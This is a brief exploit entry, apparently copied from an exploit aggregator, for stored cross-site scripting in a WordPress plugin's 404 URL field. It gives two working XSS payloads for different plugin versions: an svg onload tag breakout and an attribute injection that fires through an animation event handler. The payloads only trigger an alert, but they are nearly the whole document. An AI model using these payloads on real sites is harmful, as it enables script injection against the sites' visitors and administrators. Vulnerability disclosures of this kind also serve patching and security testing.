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## https://sploitus.com/exploit?id=WPEX-ID:9A19AF60-D6E6-4FA3-82EB-3636599B814C
Create/edit a new 404 via the plugin and put the following payload in the "Please enter the 404 URL in here:" field:

v < 3.4.9 - "><svg onload=alert(/XSS/)> 
v < 3.5.1 - " style=animation-name:rotation onanimationstart=alert(/XSS/)//